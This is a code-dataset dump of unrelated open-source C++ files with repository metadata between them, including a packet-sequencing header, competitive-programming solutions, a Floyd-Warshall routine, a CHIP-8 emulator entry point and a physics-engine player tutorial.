std::array<float,2>{0.809543073f, 0.693095982f}, std::array<float,2>{0.0695870519f, 0.319761783f}, std::array<float,2>{0.931780756f, 0.471723258f}, std::array<float,2>{0.198155239f, 0.546840787f}, std::array<float,2>{0.596790969f, 0.942111015f}, std::array<float,2>{0.415950954f, 0.245364085f}, std::array<float,2>{0.939686537f, 0.0678386092f}, std::array<float,2>{0.130769268f, 0.787490904f}, std::array<float,2>{0.555179477f, 0.680443466f}, std::array<float,2>{0.452631474f, 0.304150075f}, std::array<float,2>{0.728915811f, 0.424116731f}, std::array<float,2>{0.356419653f, 0.611158133f}, std::array<float,2>{0.812937796f, 0.884301424f}, std::array<float,2>{0.0611135736f, 0.166005433f}, std::array<float,2>{0.570382953f, 0.211568594f}, std::array<float,2>{0.389563769f, 0.993355691f}, std::array<float,2>{0.900228441f, 0.526767373f}, std::array<float,2>{0.236990318f, 0.463492215f}, std::array<float,2>{0.769339144f, 0.346801251f}, std::array<float,2>{0.0952459052f, 0.748233855f}, std::array<float,2>{0.633237839f, 0.81448704f}, std::array<float,2>{0.285443306f, 0.0149866026f}}
48.994629
52
0.73466
st-ario
f1d6dd9fc008f906e5a271cef4bbc8726858d2c8
3,017
hpp
C++
fon9/PkCont.hpp
fonwin/Plan
3bfa9407ab04a26293ba8d23c2208bbececb430e
[ "Apache-2.0" ]
21
2019-01-29T14:41:46.000Z
2022-03-11T00:22:56.000Z
fon9/PkCont.hpp
fonwin/Plan
3bfa9407ab04a26293ba8d23c2208bbececb430e
[ "Apache-2.0" ]
null
null
null
fon9/PkCont.hpp
fonwin/Plan
3bfa9407ab04a26293ba8d23c2208bbececb430e
[ "Apache-2.0" ]
9
2019-01-27T14:19:33.000Z
2022-03-11T06:18:24.000Z
// \file fon9/PkCont.hpp // \author fonwinz@gmail.com #ifndef __fon9_PkCont_hpp__ #define __fon9_PkCont_hpp__ #include "fon9/SortedVector.hpp" #include "fon9/Timer.hpp" namespace fon9 { /// \ingroup Misc. /// 確保收到封包的連續性. /// - 可能有多個資訊源, 但序號相同. /// - 即使同一個資訊源封包也可能亂序. /// - 若封包序號小於期望, 視為重複封包, 拋棄之. /// - 若封包序號不連續, 則等候一小段時間, 若仍沒收到連續封包, 則放棄等候. /// - 衍生者解構時應主動呼叫 Clear(); 因為可能正在處理 PkContOnTimer(); class fon9_API PkContFeeder { fon9_NON_COPY_NON_MOVE(PkContFeeder); public: using SeqT = uint64_t; PkContFeeder(); virtual ~PkContFeeder(); void Clear(); /// 收到的封包透過這裡處理. /// - 若封包有連續, 則透過 PkContOnReceived() 通知衍生者. /// - 若封包不連續: /// - 若 this->NextSeq_ == 0, 則直接轉 this->PkContOnReceived(); 由衍生者處理. /// - 等候一小段時間(this->WaitInterval_), 若無法取得連續封包, 則強制繼續處理. void FeedPacket(const void* pk, unsigned pksz, SeqT seq); /// 如果封包序號不連續, 要等候多少時間? 才觸發「繼續處理」事件. void SetWaitInterval(TimeInterval v) { this->WaitInterval_ = v; } protected: SeqT NextSeq_{0}; /// 收到的封包數量 = 呼叫 this->PkContOnReceived() 的次數. SeqT ReceivedCount_{0}; /// 重複(收到的 Seq < 期望的序號)的封包數量. /// 這類封包會直接拋棄. SeqT DroppedCount_{0}; /// 遺失的封包數量: 根據 Seq 計算. /// 不含第一個封包前的遺失數量. SeqT LostCount_{0}; /// 預計在 PkContOnReceived(..., seq) 處理完後的下一個封包序號. /// 您可以在 PkContOnReceived() 返回前改變此值. /// 預設為 seq + 1; SeqT AfterNextSeq_; TimeInterval WaitInterval_{TimeInterval_Millisecond(5)}; struct PkRec : public std::string { SeqT Seq_; PkRec(SeqT seq) : Seq_{seq} { } bool operator<(const PkRec& rhs) const { return this->Seq_ < rhs.Seq_; } }; using PkPendingsImpl = SortedVectorSet<PkRec>; using PkPendings = MustLock<PkPendingsImpl>; PkPendings PkPendings_; virtual void PkContOnTimer(PkPendings::Locker&& pks); static void EmitOnTimer(TimerEntry* timer, TimeStamp now); DataMemberEmitOnTimer<&PkContFeeder::EmitOnTimer> Timer_; void StartPkContTimer() { this->Timer_.RunAfter(this->WaitInterval_); } /// 序號小於期望, 在 ++this->DroppedCount_; 之後, 呼叫此處, 預設 do nothing; virtual void PkContOnDropped(const void* pk, unsigned pksz, SeqT seq); /// 通知衍生者收到的封包: /// - 當收到連續封包時. /// - 當超過指定時間沒有連續時. /// - 此時的 this->NextSeq_ 尚未改變, 仍維持前一次的預期序號. /// 因此可以判斷 this->NextSeq_ == seq 表示序號連續. /// - 為了確保資料連續性, 呼叫此處時會將 this->PkPendings_ 鎖住. /// 所以不會在不同 thread 重複進入 PkContOnReceived(); virtual void PkContOnReceived(const void* pk, unsigned pksz, SeqT seq) = 0; void CallOnReceived(const void* pk, unsigned pksz, SeqT seq) { this->AfterNextSeq_ = seq + 1; this->PkContOnReceived(pk, pksz, seq); this->NextSeq_ = this->AfterNextSeq_; ++this->ReceivedCount_; } void ResetBiggerNextSeq(SeqT newNextSeq) { if (this->NextSeq_ < newNextSeq) { this->LostCount_ += (newNextSeq - this->NextSeq_); this->NextSeq_ = newNextSeq; } } }; } // namespaces #endif//__fon9_PkCont_hpp__
29.291262
78
0.646006
fonwin
f1da7a37ea9b13b8060646318174c4bc8cfdd0bc
3,101
cpp
C++
problems/codejam/2019/1A/pylons/code.cpp
brunodccarvalho/competitive
4177c439174fbe749293b9da3445ce7303bd23c2
[ "MIT" ]
7
2020-10-15T22:37:10.000Z
2022-02-26T17:23:49.000Z
problems/codejam/2019/1A/pylons/code.cpp
brunodccarvalho/competitive
4177c439174fbe749293b9da3445ce7303bd23c2
[ "MIT" ]
null
null
null
problems/codejam/2019/1A/pylons/code.cpp
brunodccarvalho/competitive
4177c439174fbe749293b9da3445ce7303bd23c2
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; // ***** struct place_t { int r, c; }; bool operator<(place_t lhs, place_t rhs) { return make_pair(lhs.r, lhs.c) < make_pair(rhs.r, rhs.c); } #define MAXN 21 vector<place_t> solutions[MAXN][MAXN]; vector<place_t> sol3x4 = { {2, 3}, {3, 1}, {2, 4}, {1, 2}, {3, 3}, {1, 4}, // {2, 2}, {3, 4}, {2, 1}, {1, 3}, {3, 2}, {1, 1}, // }; vector<place_t> sol2x5 = { {1, 5}, {2, 3}, {1, 1}, {2, 4}, {1, 2}, {2, 5}, {1, 3}, {2, 1}, {1, 4}, {2, 2}, }; bool ok(place_t a, place_t b) { return a.r != b.r && a.c != b.c && // a.r + a.c != b.r + b.c && a.r - a.c != b.r - b.c; } void check(const vector<place_t>& vec) { for (uint i = 0; i + 1 < vec.size(); i++) { assert(ok(vec[i], vec[i + 1])); } } auto flip(const vector<place_t>& vec) { auto flipped = vec; for (uint i = 0; i < flipped.size(); i++) { swap(flipped[i].r, flipped[i].c); } check(flipped); return flipped; } void setup() { check(sol3x4); check(sol2x5); solutions[3][4] = sol3x4; solutions[4][3] = flip(sol3x4); reverse(begin(sol2x5), end(sol2x5)); solutions[2][5] = sol2x5; solutions[5][2] = flip(sol2x5); for (int C = 6; C < MAXN; C++) { auto& solution = solutions[2][C]; auto& prev = solutions[2][C - 1]; solution.resize(2 * C); solution[0] = {2, C}; for (int i = 1; i < 2 * C - 1; i++) { solution[i] = {3 - prev[i - 1].r, C - prev[i - 1].c}; } solution[2 * C - 1] = {1, C}; check(solution); solutions[C][2] = flip(solution); } for (int R = 3; R < MAXN; R++) { for (int C = R; C < MAXN; C++) { const auto& prev = solutions[R][C - 1]; auto& solution = solutions[R][C]; if (prev.empty()) { continue; } set<place_t> places; for (int r = 1; r <= R; r++) { places.insert({r, C}); } uint M = prev.size(); for (uint i = 0; i < M; i++) { solution.push_back(prev[i]); for (place_t p : places) { if (ok(p, prev[i]) && (i + 1 == M || ok(p, prev[i + 1]))) { solution.push_back(p); places.erase(p); break; } } } // fingers crossed :) assert(places.empty()); solutions[C][R] = flip(solution); } } } auto solve() { int R, C; cin >> R >> C; const auto& S = solutions[R][C]; if (S.empty()) { return "IMPOSSIBLE"s; } string ans = "POSSIBLE"; for (int i = 0; i < R * C; i++) { ans += '\n' + to_string(S[i].r) + ' ' + to_string(S[i].c); } return ans; } // ***** int main() { setup(); unsigned T; cin >> T >> ws; for (unsigned t = 1; t <= T; ++t) { auto solution = solve(); cout << "Case #" << t << ": " << solution << '\n'; } return 0; }
23.492424
83
0.422122
brunodccarvalho
f1dd9b17d40d7b2040530b6441ef411cbcee7aa4
500
cpp
C++
test/homework_test/02_expressions_test/02_expressions_tests.cpp
acc-cosc-1337-spring-2022/acc-cosc-1337-spring-2022-theblue-bay
6754b2a96fc6aa90007c340dd3cc12788b9018bb
[ "MIT" ]
null
null
null
test/homework_test/02_expressions_test/02_expressions_tests.cpp
acc-cosc-1337-spring-2022/acc-cosc-1337-spring-2022-theblue-bay
6754b2a96fc6aa90007c340dd3cc12788b9018bb
[ "MIT" ]
null
null
null
test/homework_test/02_expressions_test/02_expressions_tests.cpp
acc-cosc-1337-spring-2022/acc-cosc-1337-spring-2022-theblue-bay
6754b2a96fc6aa90007c340dd3cc12788b9018bb
[ "MIT" ]
null
null
null
#define CATCH_CONFIG_MAIN // This tells Catch to provide a main() - only do this in one cpp file #include "catch.hpp" #include "../src/homework/02_expressions/expressions.h" TEST_CASE("Verify Test Configuration", "verification") { REQUIRE(true == true); } TEST_CASE("Test Get Sales Tax") { REQUIRE(getSalesTaxAmount(10.0) == 0.675); REQUIRE(getSalesTaxAmount(20.0) == 1.35); } TEST_CASE("Test Get Tip Amount") { REQUIRE(getTipAmount(20, 0.15) == 3); REQUIRE(getTipAmount(20, 0.20) == 4); }
25
97
0.702
acc-cosc-1337-spring-2022
f1de71202ee573d03677e08425fa67f690c4026a
3,657
hpp
C++
bftengine/src/bftengine/CheckpointInfo.hpp
cloudnoize/concord-bft
f87f424dd5b93a4d6946158bf0d476caf559db0a
[ "Apache-2.0" ]
340
2018-08-27T16:30:45.000Z
2022-03-28T14:31:44.000Z
bftengine/src/bftengine/CheckpointInfo.hpp
cloudnoize/concord-bft
f87f424dd5b93a4d6946158bf0d476caf559db0a
[ "Apache-2.0" ]
706
2018-09-02T17:50:32.000Z
2022-03-31T13:03:15.000Z
bftengine/src/bftengine/CheckpointInfo.hpp
glevkovich/concord-bft
a1b7b57472f5375230428d16c613a760b33233fa
[ "Apache-2.0" ]
153
2018-08-29T05:37:25.000Z
2022-03-23T14:08:45.000Z
// Concord // // Copyright (c) 2018 VMware, Inc. All Rights Reserved. // // This product is licensed to you under the Apache 2.0 license (the "License"). You may not use this product except in // compliance with the Apache 2.0 License. // // This product may include a number of subcomponents with separate copyright notices and license terms. Your use of // these subcomponents is subject to the terms and conditions of the subcomponent's license, as noted in the LICENSE // file. #pragma once #include "PrimitiveTypes.hpp" #include "TimeUtils.hpp" #include "messages/CheckpointMsg.hpp" #include "messages/MsgsCertificate.hpp" #include "InternalReplicaApi.hpp" #include "assertUtils.hpp" namespace bftEngine::impl { class CheckpointMsg; template <bool Self = true> class CheckpointInfo { protected: struct CheckpointMsgCmp { static bool equivalent(CheckpointMsg* a, CheckpointMsg* b); }; MsgsCertificate<CheckpointMsg, Self, Self, true, CheckpointMsg>* checkpointCertificate = nullptr; bool sentToAllOrApproved; Time executed; // if != MinTime, represents the execution time of the corresponding sequnce number public: CheckpointInfo() : sentToAllOrApproved{false}, executed{MinTime} { auto& config = ReplicaConfig::instance(); checkpointCertificate = new MsgsCertificate<CheckpointMsg, Self, Self, true, CheckpointMsg>( config.numReplicas, config.fVal, 2 * config.fVal + config.cVal + 1, config.replicaId); } ~CheckpointInfo() { resetAndFree(); delete checkpointCertificate; } void resetAndFree() { checkpointCertificate->resetAndFree(); sentToAllOrApproved = false; executed = MinTime; } bool addCheckpointMsg(CheckpointMsg* msg, ReplicaId replicaId) { return checkpointCertificate->addMsg(msg, replicaId); } bool isCheckpointCertificateComplete() const { return checkpointCertificate->isComplete(); } // A replica considers a checkpoint to be super stable if it knows that all n/n replicas have reached to this // checkpoint. This is in contrary to stable checkpoint which means that the replica knows that a byzantine quorum of // replicas have reached to this checkpoint. bool isCheckpointSuperStable() const { return checkpointCertificate->isFull(); } CheckpointMsg* selfCheckpointMsg() const { return checkpointCertificate->selfMsg(); } const auto& getAllCheckpointMsgs() const { return checkpointCertificate->getAllMsgs(); } void tryToMarkCheckpointCertificateCompleted() { checkpointCertificate->tryToMarkComplete(); } bool checkpointSentAllOrApproved() const { return sentToAllOrApproved; } Time selfExecutionTime() const { return executed; } void setSelfExecutionTime(Time t) { ConcordAssert(executed == MinTime); executed = t; } void setCheckpointSentAllOrApproved() { sentToAllOrApproved = true; } // methods for SequenceWithActiveWindow static void init(CheckpointInfo& i, void* d) { void* context = d; InternalReplicaApi* r = (InternalReplicaApi*)context; const ReplicasInfo& info = r->getReplicasInfo(); const uint16_t myId = info.myId(); const uint16_t numOfReps = info.numberOfReplicas(); const uint16_t C = info.cVal(); const uint16_t F = info.fVal(); ConcordAssert(numOfReps == 3 * F + 2 * C + 1); if (i.checkpointCertificate) delete i.checkpointCertificate; i.checkpointCertificate = new MsgsCertificate<CheckpointMsg, Self, Self, true, CheckpointMsg>(numOfReps, F, 2 * F + C + 1, myId); } static void free(CheckpointInfo& i) { i.resetAndFree(); } static void reset(CheckpointInfo& i) { i.resetAndFree(); } }; } // namespace bftEngine::impl
34.17757
120
0.737216
cloudnoize
f1dfa464f3b41b8c7d97cc58f02ea76fe8491389
1,317
cpp
C++
Graph Algorithm/Floyd Warshall Algorithm/Floyd Warshall Algorithm.cpp
vector94/Competitive-programming-library
732edf71889f5770564dfb7ec6a1bf477b1d3ba2
[ "MIT" ]
null
null
null
Graph Algorithm/Floyd Warshall Algorithm/Floyd Warshall Algorithm.cpp
vector94/Competitive-programming-library
732edf71889f5770564dfb7ec6a1bf477b1d3ba2
[ "MIT" ]
null
null
null
Graph Algorithm/Floyd Warshall Algorithm/Floyd Warshall Algorithm.cpp
vector94/Competitive-programming-library
732edf71889f5770564dfb7ec6a1bf477b1d3ba2
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; const int V = 109; const int INF = 999999; int node; int adjMatrix[V][V]; int dist[V][V]; void floydWarshall() { for (int k = 0; k < node; k++){ for (int i = 0; i < node; i++){ for (int j = 0; j < node; j++){ if (dist[i][j] > dist[i][k] + dist[k][j]){ dist[i][j] = dist[i][k] + dist[k][j]; } } } } } void printSolution() { for (int i = 0; i < node; i++){ for (int j = 0; j < node; j++){ if (dist[i][j] == INF){ printf ("%7s", "INF"); } else { printf ("%7d", dist[i][j]); } } cout << endl; } } int main () { for (int i = 0; i < V; i++){ for (int j = 0; j < V; j++){ if (i == j){ adjMatrix[i][j] = 0; dist[i][j] = 0; } else { adjMatrix[i][j] = INF; dist[i][j] = INF; } } } int m; cin >> node >> m; int u, v, w; while (m--){ cin >> u >> v >> w; adjMatrix[u][v] = w; dist[u][v] = w; } floydWarshall(); printSolution(); return 0; } /* 4 4 0 1 5 0 3 10 1 2 3 2 3 1 */
18.291667
58
0.34776
vector94
f1e079ca5bebb842cbe51e196c6ebf9144ab7965
1,203
cpp
C++
test/iterator/indirect_iterator.cpp
jonathanpoelen/falcon
5b60a39787eedf15b801d83384193a05efd41a89
[ "MIT" ]
2
2018-02-02T14:19:59.000Z
2018-05-13T02:48:24.000Z
test/iterator/indirect_iterator.cpp
jonathanpoelen/falcon
5b60a39787eedf15b801d83384193a05efd41a89
[ "MIT" ]
null
null
null
test/iterator/indirect_iterator.cpp
jonathanpoelen/falcon
5b60a39787eedf15b801d83384193a05efd41a89
[ "MIT" ]
null
null
null
#include <vector> #include <test/test.hpp> #include <test/check_sequence.hpp> #include <falcon/iterator/indirect_iterator.hpp> #include <falcon/functional/operators.hpp> #include "indirect_iterator.hpp" void indirect_iterator_test() { typedef std::vector<int*> container_type; typedef typename container_type::iterator iterator; { int a = 0, b = 1, c = 2, d = 3, e = 4; container_type cont = {&a,&b,&c,&d,&e}; falcon::iterator::indirect_iterator<iterator> it(cont.begin()); falcon::iterator::indirect_iterator<iterator> end(cont.end()); { int ab [] = {0,1,2,3,4}; CHECK_SEQUENCE_M2(ab, it, end, ++*it); } it = cont.begin(); { int ab [] = {1,2,3,4,5}; CHECK_SEQUENCE2(ab, it, end); } } { int a = 0, b = 1, c = 2, d = 3, e = 4; container_type cont = {&a,&b,&c,&d,&e}; typedef falcon::iterator::indirect_iterator<iterator, falcon::dereference<int*>> pointer_iterator; pointer_iterator it(cont.begin()); pointer_iterator end(cont.end()); { int ab [] = {0,1,2,3,4}; CHECK_SEQUENCE_M2(ab, it, end, ++*it); } it = cont.begin(); { int ab [] = {1,2,3,4,5}; CHECK_SEQUENCE2(ab, it, end); } } } FALCON_TEST_TO_MAIN(indirect_iterator_test)
23.588235
100
0.640898
jonathanpoelen
f1e2990176e5053ad46e3b8f41be532ff3b4d45f
907
cpp
C++
Audio/getAudioData.cpp
Cindytb/Convolution-Reverb-Benchmarks
c4d9c8f91b5f3e16bfd4ad4e67f70d2ff95d9f59
[ "Apache-2.0" ]
1
2019-12-20T01:28:19.000Z
2019-12-20T01:28:19.000Z
Audio/getAudioData.cpp
Cindytb/Convolution-Reverb-Benchmarks
c4d9c8f91b5f3e16bfd4ad4e67f70d2ff95d9f59
[ "Apache-2.0" ]
null
null
null
Audio/getAudioData.cpp
Cindytb/Convolution-Reverb-Benchmarks
c4d9c8f91b5f3e16bfd4ad4e67f70d2ff95d9f59
[ "Apache-2.0" ]
null
null
null
#include <stdio.h> #include <string.h> #include <sndfile.h> int main(int argc, char **argv){ if(argc != 2){ printf("Usage: %s filename.wav\n", argv[0]); return 1; } SF_INFO info; SNDFILE *sndfile; memset(&info, 0, sizeof(info)); /*Read input*/ sndfile = sf_open(argv[1], SFM_READ, &info); if (sndfile == NULL) { fprintf(stderr, "ERROR. Cannot open %s\n", argv[1]); return 1; } printf("Opened file '%s'\n", argv[1]); printf("Sample rate : %d\n", info.samplerate); printf("Channels : %d\n", info.channels); printf("Frames : %ld\n", info.frames); // SndfileHandle file ; // file = SndfileHandle (argv[1]); // printf("Opened file '%s'\n", argv[1]); // printf("Sample rate : %d\n", file.samplerate()); // printf("Channels : %d\n", file.channels()); // printf("Frames : %li\n", file.frames()); sf_close(sndfile); return 0; }
25.914286
54
0.578831
Cindytb
f1ecc748db9f4ec4f429a7fed751674ce8d1cab2
232
hpp
C++
Graphics/DearImGUI/Histogram.hpp
jlandess/LandessDevCore
3319c36c3232415d6bdba7da8b4896c0638badf2
[ "BSD-3-Clause" ]
2
2021-06-09T00:38:46.000Z
2021-09-04T21:55:33.000Z
Graphics/DearImGUI/Histogram.hpp
jlandess/LandessDevCore
3319c36c3232415d6bdba7da8b4896c0638badf2
[ "BSD-3-Clause" ]
null
null
null
Graphics/DearImGUI/Histogram.hpp
jlandess/LandessDevCore
3319c36c3232415d6bdba7da8b4896c0638badf2
[ "BSD-3-Clause" ]
1
2021-08-30T00:46:12.000Z
2021-08-30T00:46:12.000Z
#ifndef LANDESSDEVCORE_IMGUI_HISTOGRAM #define LANDESSDEVCORE_IMGUI_HISTOGRAM #include "Graphics/DearImGUI/imgui.h" namespace LD { namespace IMGUI { class Histogram { }; } } #endif
13.647059
38
0.62931
jlandess
f1ef6b03c922618600fa0c555689b2a61197efe9
1,043
cpp
C++
MoteEmu/src/main.cpp
inferno16/MoteEmu
7910a6f9ec03e8ecc5a6600055e0eb1a6b1b7b14
[ "MIT" ]
null
null
null
MoteEmu/src/main.cpp
inferno16/MoteEmu
7910a6f9ec03e8ecc5a6600055e0eb1a6b1b7b14
[ "MIT" ]
null
null
null
MoteEmu/src/main.cpp
inferno16/MoteEmu
7910a6f9ec03e8ecc5a6600055e0eb1a6b1b7b14
[ "MIT" ]
null
null
null
#include <memory> #include <stdio.h> #include "VM.h" #include "Chip8.h" #include "test.h" #ifndef TEST int main(int argc, char** argv) { #else int _main(int argc, char** argv) { #endif // !TEST if (argc != 2) { printf_s("%u arguments passed. Expected: %u.\n", argc, 2); return 1; } Chip8 chip8; VM vm(&chip8, 1024 * 4); vm.MapKeyCodes({ { 0x0, SDL_Scancode::SDL_SCANCODE_X }, { 0x1, SDL_Scancode::SDL_SCANCODE_1 }, { 0x2, SDL_Scancode::SDL_SCANCODE_2 }, { 0x3, SDL_Scancode::SDL_SCANCODE_3 }, { 0x4, SDL_Scancode::SDL_SCANCODE_Q }, { 0x5, SDL_Scancode::SDL_SCANCODE_W }, { 0x6, SDL_Scancode::SDL_SCANCODE_E }, { 0x7, SDL_Scancode::SDL_SCANCODE_A }, { 0x8, SDL_Scancode::SDL_SCANCODE_S }, { 0x9, SDL_Scancode::SDL_SCANCODE_D }, { 0xA, SDL_Scancode::SDL_SCANCODE_Z }, { 0xB, SDL_Scancode::SDL_SCANCODE_C }, { 0xC, SDL_Scancode::SDL_SCANCODE_4 }, { 0xD, SDL_Scancode::SDL_SCANCODE_R }, { 0xE, SDL_Scancode::SDL_SCANCODE_F }, { 0xF, SDL_Scancode::SDL_SCANCODE_V }, }); vm.Start(argv[1]); return 0; }
25.439024
60
0.673058
inferno16
f1f30228e892daea4d3759f5b5f054b9910ba41d
462
hpp
C++
kernel/Types/TBCD.hpp
mschwartz/amos
345a4f8f52b9805722c10ac4cedb24b480fe2dc7
[ "MIT" ]
4
2020-08-18T00:11:09.000Z
2021-04-05T11:16:32.000Z
kernel/Types/TBCD.hpp
mschwartz/amos
345a4f8f52b9805722c10ac4cedb24b480fe2dc7
[ "MIT" ]
1
2020-08-15T20:39:13.000Z
2020-08-15T20:39:13.000Z
kernel/Types/TBCD.hpp
mschwartz/amos
345a4f8f52b9805722c10ac4cedb24b480fe2dc7
[ "MIT" ]
null
null
null
#ifndef GENUS_TBCD_H #define GENUS_TBCD_H #include <Types.hpp> // useful for scores and other numbers printed on screen struct TBCD { TBCD(TUint32 aValue); TBCD(TBCD &aValue); TBCD(const char *aValue); TBCD(); public: void ToString(char aDest[], TBool aZeroPad = ETrue); void Add(TBCD &aValue); void FromUint32(TUint32 v); TUint32 operator*() { return mValue; } TUint32 ToUint32(); TUint32 mValue; }; #endif //GENUS_TBCD_H
13.588235
56
0.683983
mschwartz
f1f4c6d9cf76e0166b679e3d32f8612986d5d0ea
504
cpp
C++
systemtrading/main.cpp
minseok127/sTrader
3d6a5488f6125c82b94847c7128d887894dc9367
[ "MIT" ]
null
null
null
systemtrading/main.cpp
minseok127/sTrader
3d6a5488f6125c82b94847c7128d887894dc9367
[ "MIT" ]
2
2021-12-04T05:20:30.000Z
2021-12-05T04:36:23.000Z
systemtrading/main.cpp
minseok127/sTrader
3d6a5488f6125c82b94847c7128d887894dc9367
[ "MIT" ]
null
null
null
#include "centerboard.h" #include "controlcenter.h" #include "trader.h" #include <QApplication> using namespace std; class Bunt : public Trader{ void trade(); }; void Bunt::trade(){ } int main(int argc, char *argv[]) { QApplication a(argc, argv); CenterBoard w; ControlCenter* center = new ControlCenter; Bunt* trader = new Bunt; trader->set_nickName("Bunt"); trader->set_id(1); center->employ(trader); w.board(center); w.show(); return a.exec(); }
14.4
46
0.636905
minseok127
f1f82d25afb1d930d89bbcb17809fd5b61600dcd
839
cpp
C++
part-02/1_01_linked-list-cycle.cpp
abhijeetbodas2001/DSA
ff244dea639a4a5c203e21df3efa47ff079f452a
[ "MIT" ]
null
null
null
part-02/1_01_linked-list-cycle.cpp
abhijeetbodas2001/DSA
ff244dea639a4a5c203e21df3efa47ff079f452a
[ "MIT" ]
null
null
null
part-02/1_01_linked-list-cycle.cpp
abhijeetbodas2001/DSA
ff244dea639a4a5c203e21df3efa47ff079f452a
[ "MIT" ]
null
null
null
// Problem: https://leetcode.com/problems/linked-list-cycle/ // O(n) time, O(1) space // Fast and slow pointers // Logic -> If there is a loop, the fast and the slow pointers // will definitely meet. // https://www.geeksforgeeks.org/how-does-floyds-slow-and-fast-pointers-approach-work/ /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode(int x) : val(x), next(NULL) {} * }; */ class Solution { public: bool hasCycle(ListNode *head) { if (head == NULL) { return false; } ListNode* fast = head; ListNode* slow = head; while (fast != NULL && fast -> next != NULL) { slow = slow -> next; fast = fast -> next -> next; if (fast == slow) { return true; } } return false; } };
22.078947
87
0.563766
abhijeetbodas2001
7b02d1e6eb9977fa59167f718cf8bb3dd04892d2
3,325
cpp
C++
newton-3.14/applications/tutorialsSDK300/CNewtonTutorials/tutorial_201_PlayerController/main.cpp
execomrt/newton-dynamics
b38363000bed09cf514cdad92013b0c0b4c48f3f
[ "Zlib" ]
1,031
2015-01-02T14:08:47.000Z
2022-03-29T02:25:27.000Z
newton-3.14/applications/tutorialsSDK300/CNewtonTutorials/tutorial_201_PlayerController/main.cpp
execomrt/newton-dynamics
b38363000bed09cf514cdad92013b0c0b4c48f3f
[ "Zlib" ]
240
2015-01-11T04:27:19.000Z
2022-03-30T00:35:57.000Z
newton-3.14/applications/tutorialsSDK300/CNewtonTutorials/tutorial_201_PlayerController/main.cpp
execomrt/newton-dynamics
b38363000bed09cf514cdad92013b0c0b4c48f3f
[ "Zlib" ]
224
2015-01-05T06:13:54.000Z
2022-02-25T14:39:51.000Z
/* * File: main.cpp * Author: main * * Created on 24 de julio de 2014, 21:17 */ #include "stdafx.h" #include <iostream> #include <dVector.h> #include <dMatrix.h> #include <dNewton.h> #include <dNewtonCollision.h> #include <dNewtonDynamicBody.h> #include <dNewtonPlayerManager.h> //----------------------------------------------------------------------------- using namespace std; //----------------------------------------------------------------------------- class MyDynamicBody: public dNewtonDynamicBody { public: MyDynamicBody(dNewton* const world, dFloat mass, const dNewtonCollision* const collision, void* const userData, const dMatrix& matrix) :dNewtonDynamicBody (world, mass, collision, userData, &matrix[0][0], NULL) { } // the end application need to overload this function from dNetwonBody void OnBodyTransform (const dFloat* const matrix, int threadIndex) { Update (matrix); } // the end application need to overload this function from dNetwonDynamicBody void OnForceAndTorque (dFloat timestep, int threadIndex) { // apply gravity force to the body dFloat mass; dFloat Ixx; dFloat Iyy; dFloat Izz; GetMassAndInertia (mass, Ixx, Iyy, Izz); dVector gravityForce (0.0f, -9.8f * mass, 0.0f); SetForce (&gravityForce[0]); } }; //----------------------------------------------------------------------------- class MyPlayer : public dNewtonPlayerManager::dNewtonPlayer { public: MyPlayer(dNewtonPlayerManager* const manager, void* const userData, dFloat mass, dFloat outerRadius, dFloat innerRadius, dFloat height, dFloat stairStep, const dFloat* const upDir, const dFloat* const frontDir, dLong collisionMask) : dNewtonPlayer(manager, userData, mass, outerRadius, innerRadius, height, stairStep, upDir, frontDir, collisionMask) { } ~MyPlayer() { } void OnPlayerMove (dFloat timestep) { dVector gravity(0.0f, -9.81f, 0.0f); SetPlayerVelocity (0.0f, 0.0f, 0.0f, 0.0f, &gravity[0], timestep); } }; //----------------------------------------------------------------------------- int main(int argc, char** argv) { dNewton world; // create floor dNewtonCollisionBox floor_collision (&world, 100, 1, 100, 1); //floor_collision.SetScale(1, 2, 1); MyDynamicBody* const floor = new MyDynamicBody (&world, 0, &floor_collision, NULL, dGetIdentityMatrix()); // create player dFloat mass = 100.0f; dFloat outerRadius = 1; dFloat innerRadius = 0.25; dFloat height = 2.0f; dFloat stairStep = 0.5; dVector upDir(0, 1, 0); dVector frontDir(0, 0, 1); dNewtonPlayerManager* const manager = new dNewtonPlayerManager(&world); MyPlayer* const player = new MyPlayer(manager, NULL, mass, outerRadius, innerRadius, height, stairStep, &upDir[0], &frontDir[0], 1); dMatrix matrix; player->GetMatrix(&matrix[0][0]); matrix.m_posit.m_y = 5.0f; player->SetMatrix(&matrix[0][0]); std::cout << "height: " << std::endl; for (int i = 0; i < 1500; i ++) { world.UpdateOffLine(1.0f/60.f); dMatrix matrix; player->InterpolateMatrix(1.0f, &matrix[0][0]); std::cout << matrix.m_posit.m_y << " "; } return 0; }
29.424779
235
0.59188
execomrt
7b04bc04070b1514b1e465478be409b933ed5df0
854
hpp
C++
source/zisc/core/zisc/math/unit.hpp
byzin/Zisc
c74f50c51f82c847f39a603607d73179004436bb
[ "MIT" ]
2
2017-10-18T13:24:11.000Z
2018-05-15T00:40:52.000Z
source/zisc/core/zisc/math/unit.hpp
byzin/Zisc
c74f50c51f82c847f39a603607d73179004436bb
[ "MIT" ]
9
2016-09-05T11:07:03.000Z
2019-07-05T15:31:04.000Z
source/zisc/core/zisc/math/unit.hpp
byzin/Zisc
c74f50c51f82c847f39a603607d73179004436bb
[ "MIT" ]
null
null
null
/*! \file unit.hpp \author Sho Ikeda \brief No brief description \details No detailed description. \copyright Copyright (c) 2015-2021 Sho Ikeda This software is released under the MIT License. http://opensource.org/licenses/mit-license.php */ #ifndef ZISC_UNIT_HPP #define ZISC_UNIT_HPP // Standard C++ library #include <cstddef> // Zisc #include "zisc/concepts.hpp" namespace zisc { //! Convert degree to radian template <FloatingPoint Float> constexpr Float toRadian(const Float angle) noexcept; //! Convert radian to degree template <FloatingPoint Float> constexpr Float toAngle(const Float radian) noexcept; } // namespace zisc /*! \example unit_example.cpp This is an example of how to use zisc unit functions. \note No notation. \attention No attention. */ #include "unit-inl.hpp" #endif // ZISC_UNIT_HPP
18.170213
55
0.733021
byzin
7b05283377ac7e30ddc1a0b5430a2e0a6a588515
1,284
cc
C++
moses2/main/logical-reductor.cc
moshelooks/moses
81568276877f24c2cb1ca5649d44e22fba6f44b2
[ "Apache-2.0" ]
null
null
null
moses2/main/logical-reductor.cc
moshelooks/moses
81568276877f24c2cb1ca5649d44e22fba6f44b2
[ "Apache-2.0" ]
null
null
null
moses2/main/logical-reductor.cc
moshelooks/moses
81568276877f24c2cb1ca5649d44e22fba6f44b2
[ "Apache-2.0" ]
null
null
null
